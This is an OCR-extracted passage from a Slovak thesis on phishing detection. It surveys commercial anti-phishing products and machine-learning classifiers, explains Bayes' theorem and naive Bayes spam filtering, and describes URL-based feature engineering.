obsahu e-mailu ¢i URL adresy. Taktiez poskytuje ochranu prehliadaca, ¢i rieSenie z ndzvom

Nextphish Real-Time Scanner, ktory slizi na analyzu webovej stranky podl'a URL.
Detekcia phishingu

Spolo¢nost’ neposkytuje akékol'vek informacie, ktoré popisuju konkrétne metody klasifika-

cie e-mailu, avSak odvolava sa na patentovanii HumanAl, ktora je pouZzita.
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Podla informacii, na stranke — ,,HumanAI™ poskytuje vykonnu detekciu, ktord umoznuje
zabranit’ kradezi pristupovych udajov, BEC, spear-phishing, kompromitovaniu legitimnych

odkazov, podvody socialneho inzinierstva, ransomvér a malvér v redlnom case* [50].

HumanAlI vyuziva analyzu e-mailov a webovych stranok, sledovanie spravania pouzivate-

I'ov a vSetko toto implementuje prostrednictvom strojového ucenia.
Cenova ponuka

Vzhl'adom k tomu, Ze rieSenie implementované v tejto praci moze konkurovat’ len rieSeniu
5

prostrednictvom e-mailov, nema zmysel zaoberat’ sa d’al$imi produktami tejto spolo¢nosti.

E-mailova ochrana stoji 45$ ro¢ne za jednu e-mailovt schranku, pre 25-499 pouzivatel'ov.

Pre 500 a viac pouzivatel'ov je cena individualna [50].

3.3.1.2 DuoCircle

Duocircle je poskytovatel’ e-mailového zabezpecenia zndmy svojou sluzbou SMTP (Simple
Mail Transfer Protocol). Pouziva SMTP na zabezpecenie prichadzajucej posty, ochranu pred
phishingom, ransomwarom a Skodlivymi webovymi strankami zdielanymi prostrednictvom

e-mailu.

RieSenie je integrované so sukromnym hostovanym e-mailom, Office 365, G Suite a Micro-

soft Exchange [52].
Detekcia phishingu

Duocircle pouZiva rdzne technoldgie na analyzu obsahu e-mailov, ktoré sa snazia identifi-
kovat’ a blokovat’ phishingové spravy. Tieto technologie mézu zahfiat’ napriklad detekciu

phishingovych URL adries alebo rozpoznédvanie falosnych odosielatel’'ov.

Taktiez monitoruje registrované domény a sleduje, ¢i nie si vyuzivané na phishingové
utoky. Ak identifikuje podozrivu aktivitu, méze zablokovat pristup k danej doméne
DuoCircle pouziva technologie, ktoré dokazu rozpoznat’ podvodné webové stranky, ktoré sa

snazia ziskat citlivé informacie od pouzivatel'ov. Ak takl stranku zisti, mdze upozornit’ po-

uzivatel’a alebo ju blokovat'.
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Sledovanie uniku déat na réznych internetovych strankach a online forach, aby zistil, ¢i sa
niekde neobjavili citlivé informacie od uzivatel'ov. Vdaka comu by sa mohli takto uniknuté

e-mailové adresy objavit’ v zoznamoch phishingovych kampani [67].
Cenova ponuka

DuoCircle nema verejnu cenovt ponuku a kazdy potencidlny zakaznik musi spolo¢nost’ kon-
taktovat’. Nasledne je kazdej spolo¢nosti navrhnuta cenova ponuka a moznosti financovania

presne na mieru [52].

3.3.1.3 Avanan

Avanan je rieSenie zabezpec€enia e-mailu, ktoré chrani pred phishingovymi utokmi 'ubovol-
ného e-mailového klienta, ¢i sluzbu okamzitych sprav vratane sluzieb Microsoft 365, Mic-
rosoft Teams, Slack atd’. Toto rieSenie uZito¢né na zistovanie kampani socidlneho inzinier-
stva, ktoré mozu byt’ spustené prostrednictvom réznych komunikaénych kanalov okrem tra-

di¢ného e-mailu. Niektoré z hlavnych schopnosti Avanan su:

e Integracia cloudovych aplikacii pre néstroje na spolupracu, e-mail, spravy a zdiel’a-
nie stuborov

e Model zékladnej analyzy trénovany na pokroc€ilych vzorcoch hrozieb

e Al na zistenie koreldcii medzi zamestnancami, nadvykmi pri odosielani e-mailov a
komunikaciou

e Jediné rozhranie na spravu hrozieb s univerzalnou kontrolou politiky

e Pripojenie na zaklade tokenu OAuth, Sifrované TLS s aplikaciami SaaS

e Tim odbornikov pre rychlu reakciu na incident

Jedine¢nou schopnostou Avanan je nemenit’ zdznamy vymennika posty alebo zdznamy MX
pri oznacovani alebo blokovani phishingovych utokov. To znemozZiuje ito¢nikom vediet,
¢1 pouzivate softvérovi sluzbu proti phishingu, a tak planovat’ obidenie bezpecnostnych

opatrenti.
Cenova ponuka

Pokrocilé rieSenie proti phishingu od Avananu je dostupné za 4 dolare na pouzivatela me-

sacne pre spolocnosti s menej ako 500 zamestnancami [52].
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3.3.1.4 IRONSCALES

IRONSCALES je samouciaca sa e-mailova bezpecnostna platforma vyuzivajuca Al. Mdze
pomoct’ odhalit’, predvidat’ a predchadzat’ phishingovym utokom, ¢im poskytuje pokrytie
proti hrozbam zero-day. IRONSCALES moze byt pouzita na ochranu pred phishingom aj v

ekosystéme Office 365 a prinasa nasledujuce klI'icové funkcie:

e Simulécia hrozieb pre analyzu phishingovych utokov a Skolenie pouzivatel'ov

e Ochrana BEC na trovni postovych schranok a demokratizované vyhl'adavanie hro-
zieb

e Ochrana pred prilohami suborov skodlivého softvéru a podozrivymi adresami URL

e Reakcia na incidenty vyuzivajuca Al

e Virtudlny analytik a asistent s ndzvom Themis

e Hrladanie davovych hrozieb zvnutra aj zvonka organizacie

Hlavnou vyhodou IRONSCLES je jeho patentovana technoldgia Al a ML. Vytvara priestor
pre l'udské postrehy a tisudok podl'a vlastného uvazenia, ¢im zlepSuje moznosti hodnotenia

pri kazdej potencialnej hrozbe a napravnom opatreni.

IRONSCALES sa zaobera celym spektrom aktivit zameranych na prevenciu phishingu, od
hodnotenia hrozieb az po pokrocili ochranu pred hrozbami a SecOps. Oznacuje podvody

CEO, BEC, spear phishing a odcudzenie identity — o st bezné typy utokov.
Cenova ponuka

Cena: IRONSCALES je k dispozicii za 4,50 USD za poStovu schranku mesacne pre ediciu
Core, 6,50 USD za Core+ a 7,00 USD za Ultimate, za predpokladu, Ze spolocnost’ ma 50 az

2 000 zamestnancov [52].

3.3.2  Strojové ucenie (ML) na detekciu phishingovych utokov

Pouzitie ML na detekciu phishingovych webovych stranok a stava sa jednoduchym klasifi-
ka¢nym problémom. Pre spravne trénovanie modelu strojového uenia pre detek¢ény systém,
musia mat’ vstupné Udaje tzv. features, ktoré siivisia s phishingovymi a legitimnymi triedami
webovych stranok. Na detekciu phishingového Gtoku sa pouzivaji rozne klasifikatory. Pred-
chadzajuce stadie ukazuju, ze presnost’ detekcie je vysokd, pretoZe sa pouzivaji robustné

techniky ML. Pouziva sa niekol'ko technik vyberu features. Obrazok nizSie zobrazuje



UTB ve Zliné, Fakulta aplikované informatiky 66

fungovanie modelu strojového ucenia. Davka vstupnych udajov je poskytnuta ako vstup na
trénovanie modelu strojového ucenia na predpovedanie phishingového titoku alebo legitim-

nej stranky.

2b

Testing Dataset
[ Legitimate ]{ Phishing ]

2a
Training Dataset : Algorithm Evaluation
3 3a 3b

_____________________________________________________

Phishing Dataset

Production data

Obrazok 41 — Postup implementacie Al modelov [53]

Redukovanim funkecii sa vizualizacia siboru dat stava efektivnejSou a zrozumitel'nejSou.
NajvyznamnejSie klasifikatory, ktoré boli pouzité v réznych Studidch a ktoré poskytuju
dobru presnost’ detekcie phishingovych utokov, stt C4.5, k-NN a RF, DT. Tieto klasifikatory

poskytuji maximalnu presnost’ a efektivitu na detekciu phishingového utoku.

Na d’al$ie skiimanie odhal'ovania phishingovych Gtokov vyskumnici spomenuli obmedzenia
svojej prace. Mnohi zdoraznili spolo¢né obmedzenie, Ze sa nepouzivaji ensemble techniky

a v niektorych Studidch sa neuskuto¢nila redukcia features.

Nasledujuce priklady vyskumov a prac dokazuju vyuzitie Sirokého spektra postupov, algo-

ritmov a technik, ktoré s vyuzivané autormi pre detekciu phishingovych ttokov.

3.3.2.1 Pristupy detekcies vyuZitim umelej inteligencie v odbornej literatiire

Autori James et al. pouzili rozne klasifikatory ako C4.5, IBK, NB a SVM. Podobne autori v
Liew et al. pouzili Random Forest algoritmus na rozliSenie phishingovych ttokov od povod-
nych webovych stranok. Autori v Adebowale et al. pouzili robustni schému zaloZenl na
Adaptive Neuro-Fuzzy Inference System vyuzivajucu integrované features na detekciu

a ochranu pred phishingovymi Gtokmi.

Autori Zamir et al. prezentovali u€enie s ucitelom a stackovacie modely na rozpoznanie
phishingovych webovych stranok. Dévodom tychto experimentov bolo zlepSenie presnosti

klasifikéacie prostrednictvom navrhovanych features pomocou PCA (Principal Component
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Analysis) a stackovania najefektivnejsich klasifikatorov. Stacking (RF, NN, stowing) pre-
konalo ostatné klasifikatory s navrhovanymi features N1 a N2. Experimenty sa uskuto¢nili
na suboroch dat phishingovych webovych stranok. Déatova sada obsahovala 32 predspraco-

vanych features s 11 055 webovymi strankami.

Autori Alsariera et al. pouzili Styri meta-student modely: AdaBoost-Extra Tree (ABET),
Bagging-Extra tree (BET), Rotation Forest-Extra Tree (RoFBET) a LogitBoost-Extra Tree
(LBET) s pouzitim extra tree base klasifikatoru. Navrhované meta-algoritmy boli prispdso-
bené pre datovl sadu phishingovych webovych stranok a bola testovana ich vykonnost.
Okrem toho navrhované modely prekonavaju existujice modely zalozené na ML pri rozpoz-
navani phishingovych utokov. Navrhujui teda spresnovanie meta-algoritmov pri vytvarani

modelov identifik4cie phishingovych utokov.

Autori Subasi et al. nanavrhli inteligentny systém identifikacie phishingovych webovych
stranok. Vyuzili jedine¢né modely ML na klasifikaciu webovych stranok. Na implementa-
ciu presnej a inteligentnej Struktiry zistovania phishingovych webovych stranok sa pouzilo
niekol’ko metdd klasifikacie. ROC (receiver operating characteristic) plocha, F-meranie
a AUC (Area under the ROC Curve) sa pouzili na hodnotenie vykonnosti technik ML. Vy-
sledky ukazali, ze Adaboost s SVM fungoval najlepSie spomedzi vSetkych ostatnych klasi-

fikacnych technik a dosiahol najvyssiu presnost’ 97,61 %.

Autori Ali a Malebary navrhli techniku detekcie phishingovych webovych stranok vyuziva-
jucu vazenie komponentov na baze Particle Swarm Optimization (PSO) na zlepSenie detek-
cie phishingovych webovych stranok. Ich navrhovany pristup odporaca pouzivat’ PSO na
zvazenie roznych webovych stranok, ¢im sa efektivne dosiahne vyssia presnost’ pri rozliSo-
vani webovych stranok s neopravnenym ziskavanim udajov. Najmé navrhované vaZenie
funkcii webovych stranok na zédklade PSO sa vyuZziva na oddelenie roznych funkcii webo-
vych stranok vzhl'adom na to, ako vyznamne prispievaji k odliSeniu phishingu od skuto¢-
nych webovych stranok. Vysledky ukazali, Ze modely ML sa zlepsili s navrhovanym véaze-

nim komponentov na zéklade PSO.

Autori James et al. pouzili datovu sadu od Alexa a Phishtank. Ich navrhovany pristup cita
adresu URL jednu po druhej a analyzuje nazov hostitel’a a cestu. Na zdklade ¢oho vykonava
klasifikaciu stranky na phishingovu alebo legitimnu. To je vykonavané pomocou Styroch

klasifikatorov: NB, DT, KNN a Support Vector Machine (SVM).
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Autori Abdelhamid et al. vytvorili metodu s ndzvom Enhanced Dynamic Rule Induction
(eDRI) na detekciu phishingovych tutokov. Pouzili feature extraction metddou Remove Rep-
lace feature selection technique (RRFST) a ANOVA, aby zredukovali pocet features. Vy-
sledky ukazuju, Ze maji najvyssiu presnost’ 93,5 % v porovnani s inymi Stidiami. Vyskum

navrhol pouzivat techniku vyberu prvkov RRFST.

Autori Tyagi et al. pouzili datova sadu z tloziska strojového ucenia UCI, ktory obsahuje
jedinecnych 2 456 instancii adries URL a celkovy pocet 11 055 adries URL, ktoré maja 6
157 phishingovych webovych stranok a 4 898 legitimnych webovych stranok. Ziskali 30
features a pouzili ich na predpovedanie phishingového utoku. Pouzili algoritmy ML ako DT,

RF, Gradient Boosting (GBM), Generalized Linear Model (GLM) a PCA.

Autori Chen a Chen pouzili metodu SMOTE, ktora zlepSuje pokrytie detekciou modelu.
Trénovali modely strojového u€enia vratane baggingu, RF a XGboost. Ich navrhovana me-
toda dosiahla najvyssiu presnost’ prostrednictvom metdody XGboost. Pouzili datova sadu
Phishtank, ktord ma 24 471 phishingovych webovych stranok a 3 850 legitimnych webovych

stranok.

Autori Ubing et al. navrhli svoju pracu na ensemble learningu prostrednictvom troch technik,
ktorymi boli bagging, boosting a stacking. Ich datové sada obsahuje 30 features a 5126 za-
znamov. Je prevzatd z UCI, kde je verejne pristupna. Skombinovali svoje klasifikatory, aby

ziskali maximalnu presnost’, ktort ziskali z DT.

Autori v Sahingoz et al. vytvorili svoj dataset, ktory obsahuje 73 575 adries URL a z toho
36 400 legitimnych adries URL a 37 175 phishingovych adries URL. Ako spomenuli, Ze
Phishtank neposkytuje bezplatni datovu sadu na webovej stranke, preto vytvorili svoju. Na
detekciu phishingovych utokov pouzili sedem klasifikaénych algoritmov a funkcie spraco-

vania prirodzeného jazyka (NLP).

Sadique et al. navrhli dvojfazovy model. V prvej faze boli z URL extrahované features,
ako GeolP, WHOIS a lexikalne features. Tento pristup vyuZziva techniku drop-column na
vyber 20 hlavnych délezitych features zo 142 extrahovanych prvkov.

Li a Wang navrhuji model s nazvom PhishBox; rieSenie na overenie a detekciu phishingo-
vych webovych stranok. Ensemble model je uréeny na analyzu phishingovych tdajov v pr-
vej faze, kde je zavedené aktivne uCenie, aby sa minimalizovali ndklady na manualne

oznacovanie. Overené udaje o phishingu sa pouziju v druhej faze na trénovanie modelu
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detekcie. Obsahové features adresy URL a webovej lokality sa privadzaju do modulu uce-

nia stboru ako vstup. Tento pristup dosiahol 95 % presnost’.

El Aassal et al. navrhuje framework s nazvom PhishBench, ktory poméha vyhodnotit’ a
analyzovat’ dostupné detekcné funkcie a dokladne pochopit’ testovacie podmienky, ako su

poziadavky na model, pouzité subory udajov, vykon klasifikatora a vystupné merania.

HTMLPhish bol pokus o automatizaciu extrakcie funkcii zo stranok HTML pomocou

CNN. Ziskal 97,2 % presnost’ detekcie pomocou HTML stranok.

Bahnsen et al. (2017) predstavili vysoko presny sietovy pristup zalozeny na LSTM. Ne-
bolo potrebné manualne extrahovanie features, pretoze tento pristup pouzival iba adresy

URL. Po kroku kédovania st adresy URL dodané do siete LSTM, ¢im sa skratil ¢as detek-
cie. LSTM bola prvykrat pouzity pri detekcii phishingu a dosiahol presnost’ 98,7 %.

Chatterjee a Namin (2019) navrhuji model, ktory hlbsie skiima problém zhlukovania sku-
manim skrytych features pomocou hlbokého uc¢enia. Model sa dynamicky prisposobuje
spravaniu phishingovej webovej stranky a uci sa features sam. Tento pristup je schopny

dosiahnut’ presnost’ 90,1 % s pouzitim suboru dat obsahujuceho 73 575 adries URL.

Yang et al. (2019) navrhuje viacrozmerny pristup k vyberu features pomocou hlbokého
ucenia na detekciu phishingu. Z adresy URL je extrahovanych 24 hybridnych features. Me-
toda CNN sa pouziva na extrahovanie features, ktoré su korelované, a LSTM sa pouZiva na
zaznamenavanie zavislych features a sémantiky kontextu zo znakov URL. Hybridny pri-
stup CNN-LSTM dosiahol presnost’ 98,09 % s pouzitim ovel'a vi¢Sieho stiboru udajov

[53][54].

Z uvedeného vyplyva, ze na detekciu phishingu je pouzivana hlavne URL adresa, avSak
moze byt pouzitd aj detekcia na zadklade HTML Struktury stranky, ¢i samotného emailu,
pripadne moZze byt phishing detegovany napriklad analyzou textu v e-maile prostrednic-

tvom NLP.

3.3.3 Bayesovské klasifikatory

Bayesovské klasifikatory vychadzaju z Bayesovej vety. Aby mohla byt komplexne pocho-
pena Bayesova veta, je nutné najprv vysvetlit' pravdepodobnost’ a podmienenu pravdepo-

dobnost’.
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Pravdepodobnost’ ako takd znamena pravdepodobnost’ vyskytu udalosti a mé vzdy hodnotu
medzi 0 a1 (0a 1 vratane). Pravdepodobnost’ udalosti A je oznacena ako p(A) a vypocitana
ako pocet pozadovaného vysledku deleny poctom vsetkych vysledkov. Napriklad, hod koc-
kou mé pravdepodobnost, ze padne ¢islo mensie ako tri rovnu 2/6. PocCet pozadovanych

vysledkov je 2 (1 a 2); celkovy pocet vysledkov je 6.

Podmienend pravdepodobnost’ je pravdepodobnost’ vyskytu udalosti A za predpokladu, ze
ina udalost’, ktora ma vzt'ah s udalost'ou A, uz nastala. Pre priklad je mozné predpokladat’,
ze 6 modrych loptic¢iek a 4 ZIté st umiestnené v dvoch poliach, ako je mozné vidiet’ na ob-

razku niz$ie. Pri ndhodnom vybere je pravdepodobnost’ ziskania modrej gule je 6 / 10 = 0,6.

Ak by vsak vyber prebiehal z krabice A pravdepodobnost’ vyberu modrej lopty sa vyrazne
znizuje. Podmienkou je vybrat’ z pol'a A, ¢im sa jednozna¢ne zmeni pravdepodobnost’ uda-
losti (vyber modrej gule). Pravdepodobnost’ udalosti A za predpokladu, ze udalost’ B nastala,

sa oznacuje ako p(A|B).

Box A Box B

®@ O OO0 0 000

Obrazok 42 — Bayesovske klasifikatory

Spolo¢na pravdepodobnost’ je pravdepodobnost’, ze sa dve udalosti vyskytni spolu a ozna-
cuje sa ako p(A a B). Pre nezavislé udalosti mozno spolo¢nt pravdepodobnost’ zapisat’ ako

rovnicu ¢.1:

p(Aand B) = p(A).p(B)

Ak je teda nezavisle vykonany hod kockou a nasledne hod mincou. Pravdepodobnost’ ziska-

nia hodnoty 1 na kocke a ,,hlavy ““ na minci je:

(1/6).(1/2) = 1/12 = 0,08

Aby bol tento vypocet spravny, udalosti musia byt’ nezavislé. Vysledok hodu mincou nema

ziadny vplyv na vysledok hodu kockou, takZe tieto udalosti st nezavislé.
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Priklad zavislych udalosti m6ze byt nasledovny: Z bali¢ka bola vybrana jedna karta. Na-
sledne bola z toho istého balicka vybrana aj druha. Pravdepodobnost’ konkrétneho pozoro-
vania v druhom vybere je urCite ovplyvnend prvym vyberom. V pripade zavislych udalosti
rovnica uvedena vyssie neplati a je teda nutné ju upravit’ tak, aby platila pre akékol'vek 2

udalosti, ¢im vznika rovnica ¢.2:
p(AaB)=p(A)p(B/A)
Rovnica €.1 je Specialny pripad rovnice ¢.2 pre nezavislé udalosti, pretoze ak je udalost' B a
udalost’ A nezavisla, p(B|A) = p(B).
3.3.3.1 Bayes Theorem (Bayesova veta)
Bayesova veta je pomenovand po Thomasovi Bayesovi.
Spolo¢na pravdepodobnost’ je komutativna pre akékol'vek dve udalosti. To je:
p(AaB)=p(Bad)
Z rovnice ¢.2 vyplyva, ze:
p(AaB)=p(A).p(BIA)
p(BaA)=p(B).p(AlB)
Rovnicu €.3 je moZné prepisat’ takto:
p(A).p(B/A) = p(B).p(A/B)

Delenim dvoch stran p(B) je tak ziskana Bayesova veta [55]:

p(4).p(BlA4)

pAIB) ===

3.3.3.2 Naivny Bayesovsky klasifikator
Naive Bayes je algoritmus ucenia s ucitel'om, ktory sa pouziva na klasifika¢né tilohy.

Rovnako ako iné algoritmy ucenia s ucitel'om, Naive Bayes pouziva funkcie na predpove-
danie ciel'ovej premennej. KIiovy rozdiel je v tom, ze Naive Bayes predpoklada, ze funkcie
su od seba nezavislé a medzi funkciami neexistuje ziadna korelécia. V realnom zivote to tak
vSak nie je. Tento naivny predpoklad, ze vlastnosti nie st korelované, je dovodom, preco sa

tento algoritmus nazyva ,,naivny*.
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Naivny bayesovsky klasifikator pocita pravdepodobnost’ triedy vzhl'adom na subor hodnot

vlastnosti (t. j. p(yi | x1, x2, ..., xn)). Zadanim do Bayesovej vety vznika:

p(x1,x2,...,xn |yi).p(yi)
p(x1,x2, ...,xn)

p(yi|x1,x2, .., xn) =

p(x1, x2 , ..., xn | yi) znamené pravdepodobnost’ Specifickej kombinéacie znakov danej
triedy. Aby bolo mozné toto vypocitat, st potrebné extrémne velké sibory udajov, aby bolo
mozné ziskati odhad rozdelenia pravdepodobnosti pre vSetky rézne kombinacie hodnot
funkcii. Na prekonanie tohto problému naivny bayesov algoritmus predpokladd, ze vsetky
funkcie su na sebe nezavislé. Okrem toho menovatel’ (p(x1,x2, ..., xn)) mozno odstranit,
aby sa rovnica zjednodusila, pretoze normalizuje iba hodnotu podmienenej pravdepodob-

nosti triedy danej pozorovanim ( p(yi | x1,x2, ..., xn) ).

Vypocet pravdepodobnosti triedy ( p(yi) ) potom nasledovny:

pocet pozorovani v triede yi

PO = pocet vSetkych pozorovani

Za predpokladu, ze vlastnosti st nezavislé, p(x1, x2, ..., xn | yi) mozno zapisat’ ako:

p(x1,x2,..,xn | yi) = p(x1 | yi) * p(x2 | yi) * ... * p(xn| yi)
Podmienena pravdepodobnost’ pre jeden znak dany oznacenim triedy (t. j. p(x1 | yi) ) sa da
'ahSie odhadnut’ z udajov. Algoritmus potrebuje ukladat’ rozdelenia pravdepodobnosti vlast-
nosti pre kazdl triedu nezévisle. Napriklad, ak existuje 5 tried a 10 funkcii, je potrebné ulozit’

50 roznych rozdeleni pravdepodobnosti. Typ distribucie zavisi od charakteristik funkcii:

e Pre bindrne znaky (Y/N, True/False, 0/1): Bernoulliho rozdelenie
e Pre diskrétne znaky (t. j. pocet slov): Multinomické rozdelenie
e Pre spojité znaky: Gaussovo (normalne) rozdelenie
Pre mnoziny tidajov zmieSaného typu moze byt pre rozne funkcie potrebny iny typ distribu-

cie.
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Na ukazku myslienky naivného Bayesovského klasifikatora je mozné pouzit’ e-mailovy spa-
movy filter. Premenna danej triedy teda udava, ¢i je sprava spam (¢ize ,,nevyziadané ozna-
menie*), alebo ¢i je vyziadana (tzv. ,,ham®). Slova v sprave zodpovedaji meranym premen-

nym, takze pocet meranych premennych v modeli je uréeny poctom réznych slov v sprave.

Zakladnym predpokladom je, ze vyber slov zavisi iba od toho, ¢i je dana sprava ,,spam*
alebo ,,ham“. Ide o hrubé zjednodusenie celého procesu, pretoze je predpokladané, ze medzi
susediacimi slovami neexistuje ziadna zavislost’ a ze poriadok slov vo vete nema Ziadny

vyznam. Preto sa tato metdda nazyva naivna.

Na zaciatku je nutné urcit’ apriérnu Sancu na spam (oproti ,,hamu®). Pre zjednodusenie je
predpokladané, ze je to 1:1, o znamena, Ze v priemere polovica prichddzajucich sprav je

spam.

Na ziskanie mier pravdepodobnosti su potrebné dve r6zne pravdepodobnosti pre kazdé vy-
skytujtce sa slovo: jednu pravdepodobnost’ vyskytu v spamovych spravach a jednu pravde-

podobnost’ vyskytu v spravach ,,hamovych*.

Rozdelenie slov do tychto dvoch tried sa najlepSie odhadne zo skutocnych trénovacich dat,
ktoré obsahuji spamové aj vyZziadané spravy. NajjednoduchSie je spocitat’, kolkokrat sa
kazdé slovo od A az do Z v datach objavuje a vydelit’ toto ¢islo celkovym poctom slov

[55][56].

3.4 Teoreticky postup implementacie

Z vyssie uvedenych metdd vyplyva, Ze phishingovy utok je moZzné rozpoznat’ na zéklade 3
hlavnych kritérii, ktorymi st emailové adresa odosielatel’a, textovy obsah e-mailu a predo-
vSetkym URL adresa v hypertextovom odkaze, ktory sa nachddza v obdrZzanom e-

maile/SMS.

3.4.1 Datova sada

Datova sada anglicky dataset obsahuje data, ktoré sa pouzivaji na trénovanie a testovanie
modelu. Déta su zvyc€ajne prezentované vo forme tabulky. Mo6zu byt ¢iselné alebo katego-

rické. Data mézu mat’ dve alebo viaceré premenné a premenné moézu mat rozne vztahy [57].

V oblasti strojového u€enia su subory dat reprezentované vacsinou CSV suborom, kde st

giarkami definované jednotlivé stipce.
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3.4.1.1 Predspracovanie suboru ddt a Cistenie ddt

Predspracovanie udajov je pociatocnou fazou akéhokol'vek procesu strojového uc¢enia, v kto-
rom sa datova sada transformuje. Jednoducho povedané, subory dat sa konvertuju na vektory
features, takze modely ML mo6zu stibory dat 'ahko interpretovat. Datové sady vSak maju

ur¢ity Sum a nadbytoc¢né ¢i nekompletné data, ktoré je potrebné z odstranit’.

Cistenim dat sa rozumie odstranenie ,,$umovych® faktorov a nadbytoénych dat z datovej
sady. Sum méZe byt reprezentovany napriklad tym, Ze niektoré adresy URL, ¢i emailové
adresy su v uvodzovkach a niektoré su oddelené Ciarkami, pripadne su data inak chybne
formatované, ¢i nekompletné. Pred extrahovanim features je teda potrebné tieto abnormality

odstranit’ [54].

3.4.2 Klasifikacia podPla URL

PretoZze sa jedna o klasifikdciu jedného retazca, je vyhodné zvolit’ pristup, ktory bude
v tychto ret'azcoch hl'adat’ urcené vybrané znaky, pripadne pocetnost’ ich vyskytu, na za-
klade ¢oho bude prebiehat’ klasifikacia. Jedna sa o tzv. features. Tie budu ziskané prostred-

nictvom tvorby features tzv. feature engineeringu.

» L vorba features je nevyhnutnym krokom v akejkol'vek metdde detekcie phishingu, pre-
toZe vykon danej metddy na tom kriticky zavisi. Vyhradné pouZivanie features, ktoré st

zaloZené na tretej strane, mozu viest’ k vysokej miere faloSne pozitivnych vysledkov.* [54]
Je preto dolezité dané features poskladat’ z navrhnutych aj vlastnych, aby sa zarucilo ¢o naj-
presnejSie urcovanie.

3.4.2.1 Postup klasifikdacie podla URL pouZity v literature

Klasifikacia podl'a URL umoziuje okamzZite odhalit’ phishingové adresy URL iba s vyuzitim

features adresy URL, a to bez navstevy webove;j stranky.

V ¢lanku ,,Highly accurate phishing URL detection based on machine learning* [54]
Je postup klasifikacie definovany nasledovne.

Postup je rozdeleny do 3 faz:

e Po prvé, zhromazdené datova sada sa predspracuje odstranenim chybajtacich a dup-
licitnych adries URL, extrahuju sa features z kazdej adresy URL v datovej sade, vy-

berie sa 30 najlepsich najlepsich features zo 100 extrahovanych.
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e Po druhé, datova sada je rozdelend na 70 % na trénovanie a 30 % na testovanie mo-
delu. Datova sada mé trénovat’ model strojového ucenia a potom vyhodnotit’ vykon
trénovaného modelu na testovacej sade.

e Po tretie, model sa vyhodnocuje pomocou réznych hodnotiacich merani na testova-
nie suboru dat a vystupom je najlepsi klasifikator, ktory dosiahol najvyssiu presnost’

a efektivitu z hl'adiska detekcie phishingovych adries URL [54].

3.4.2.2 Dataset a URL features

Adresa URL znamena Standardizovany lokator zdroja. Adresa URL sa pouziva na vyhlada-
vanie zdroja, ako su stranky s obsahom, obrazky, sibory a d’alSie. Typicka Struktura a rozne
komponenty URL s prikladom st zndzornené na obrazku nizsie. URL sa zvycajne sklada z

nasledujucich prvkov:

e Scheme - protokol adresy URL, napriklad http alebo https.

e Host — Specifikuje trovne domén, ako je primarna alebo hlavna doména, subdoména
a doména najvyssej urovne (TLD).

e Path - Adresa konkrétneho zdroja.

¢ Query - Hodnoty a retazce, ktoré sa objavia za ,,?*.

e Fragment - Smer k pod-sekcii na stranke, pred ktorou je znak ,#*.

3rdlevel 2ndlevel Top level

Protocol domain domain domain  Directory File Parameters Fragment
" * " 8 alg * N0 g T 0
https://www.someurl.com/(llrectory/page.html?l)aram=l&lang=en#b0ttom

L “ J L - J - J

Scheme Domain name Page Query

& J U J
RE Ll
Host Path

Obrazok 43 — Zlozenie URL adresy [54]

Phisher zvycCajne skryva nézov hostitel'a a ndzov domény adresy URL aby oklamal pouzi-
vatel'a, Ze odkaz patri legitimnej webovej stranke. Dal$ou taktikou ito&nikov zvy&ajne byva
pouzitie dlhych adries URL na skrytie skuto¢nej identity webovej lokality, takze koncovy
pouzivatel' nemdze rozpoznat® nelegitimnost’ webovej lokality. Uto¢nik si moZe zaregistro-
vat’ akykol'vek novy ndzov domény a potom k tejto primarnej doméne pridat’ subdomény.

Sekciu subdomény a cesty adresy URL plne kontroluje phisher a méze do nej pridat
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cokol'vek. Vécsina phishingovych adries URL ma dlhé subdomény, takze skryvaju nazov

primarnej domény.

Obrazok nizsie zobrazuje proces transformacie sady dat na sadu features. Subory udajov boli
zhromaZzdené vo formate CSV s dvoma stipcami, v ktorych prvy stipec obsahuje adresy URL
a druhy stipec oznacuje triedy. Znak 0 znamen4, Ze adresa URL je legitimna a 1 znamena,
ze adresa URL je phishingova. Python extrahuje funkcie z kazdej adresy URL v stibore dat.
Ked’ su vsetky adresy URL zo stiboru dat analyzované v skripte, vygeneruje sa novy subor
so vSetkymi features a ulozi sa do systému. Proces transforméacie URL a extrakcie features
je uzitoény pre modely strojového ucenia. Okrem toho je nutné uvazovat’, ze vsetky adresy
URL su v subore dat spravne oznacené bez ohl'adu na to, ¢i je dana adresa URL phishingova

alebo legitimna [54].

www.phishing.com 1

Dataset before transformation

www.legit.com 0 words
) 1 0 0 0
1

1 0 1 1

Dataset after transformation

Obrazok 44 — Extrakcia features z URL adresy [54]

3.4.2.3 Tvorba features - fearure engineering

Fearure engineering je zakladnym krokom v kazdej metode detekcie phishingu, pretoZze od
toho vykon metody kriticky zavisi. Extrahovanie features zaberie zna¢né mnozstvo Casu,
obzvlast’ ak je ich pocet velky a extrahuju sa z vel’kého stiboru dat. Na prekonanie takychto
problémov je teda vhodné extrahovat’ features zo samotného retazca adresy URL, vd’aka
c¢omu je proces rychlejsi a efektivnejsi. Na extrakciu features je napisany python skript, ktory
berie datovu sadu ako vstup a vystupom je suprava features danej sady. Najprv bolo extra-
hovanych 100 features z r6znych cCasti adresy URL a potom bolo vybranych 30 najlepSich
pomocou znalosti domény a techniky ReliefF v nastroji WEKA na ucenie a testovanie mo-

delov strojového ucenia. Extrahované funkcie st rozdelené do troch kategorii:

1. Full URL-based feautures

2. Host-based features

3. Path section of the URL-based features
4

Brand name-based features
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5.

Entropy-based features [54]

Full URL-based feautures

Tieto features sa ziskavaju priamo z celého ret'azca adresy URL. Mo6zu byt rozdelené do

troch kategorii:

a)

b)

Special characters-based features - Existuje niekol’ko tokenov a znakov, ktoré sa
vyskytuju CastejsSie v phishingovych URL, a naopak nie su vel'mi vyuzivané v legi-
timnych URL adresach. Tieto features kontroluju pritomnost znakov ako
(@, ~ !N 0)LLGY <o, 1.8, =,&,:,#, %) v celej adrese URL. Vyssie uvedené fe-

atures mozno overit’ v celej adrese URL, v ndzve hostitel'a a v sekcii cesty adresy

URL.

Count/presence-based features - Tieto features sa pouzivaju na pocitanie konkrét-
nych znakov alebo zaznamenévanie dizky tokenov alebo retazcov. Funkcie klasifi-
kujt adresy URL ako phishing, ak sa diZka alebo pocet vyskytu konkrétnej feature

ZVySi.

Suspicious word-based features — Bol zostaveny zoznam podozrivych slov, ktoré
sa najcastejSie pouzivaju v phishingovych adresach URL. Tieto slova je mozné vi-
diet’ na obrazku nizsie. Tato feature kontroluje pritomnost’ tychto slov v celom re-
tazci URL a ak sa podozrivé slovo nachadza v URL, klasifikuje sa ako phishing, inak

legitimny.
